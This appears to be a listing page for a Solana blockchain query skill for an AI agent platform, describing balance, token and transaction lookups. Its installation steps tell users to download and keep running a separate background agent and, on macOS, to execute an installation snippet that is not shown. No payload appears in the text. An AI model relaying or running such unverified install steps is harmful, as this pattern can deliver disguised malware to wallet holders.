solana

What This Skill Does

The Solana skill for OpenClaw provides a comprehensive interface for interacting with the Solana blockchain. It bridges the gap between high-level AI commands and granular blockchain data, allowing users to query balances, inspect account data, track SPL token holdings, and monitor transactions in real-time. By leveraging the openclaw-agent utility, this skill serves as a command-line wrapper that simplifies complex JSON-RPC calls, making it accessible for developers and power users to perform blockchain diagnostics directly within their terminal environment.

Installation

To begin, ensure you have the openclaw-agent utility installed. For Windows, download the official release from the GitHub repository and ensure it is running in the background. For macOS, execute the provided installation snippet from the source documentation to configure your system environment. Once the agent is active, install the skill by executing: clawhub install openclaw/skills/skills/seedamir/amir. Finally, ensure the Solana CLI is installed via the standard curl installer and verify your connection to the mainnet-beta RPC endpoint to begin querying data.

Use Cases

This skill is ideal for tracking assets across multiple wallets, performing automated account audits, and integrating blockchain data into larger automation workflows. Use it to quickly check the status of specific NFT mints using the Metaboss integration, verify token balances for liquidity provision, or monitor a cold wallet for incoming transactions using the built-in watch functionality. It is perfect for developers needing quick access to on-chain state without navigating clunky web-based explorers.

Example Prompts

1. "Check the current SOL balance and list all SPL token holdings for address 7xTCZ..."
2. "Get the transaction history for my vault address and show the details of the most recent signature."
3. "Monitor address 9wZc... and alert me every 5 seconds if the balance changes."

Tips & Limitations

Always ensure the openclaw-agent is running, as failure to do so will result in connection timeouts or command errors. For high-volume production needs, consider replacing the default public RPC URL with a dedicated provider like Helius or QuickNode to avoid rate-limiting. Note that this skill is strictly for read-heavy operations and diagnostics; it does not replace a secure wallet signing mechanism for executing transactions.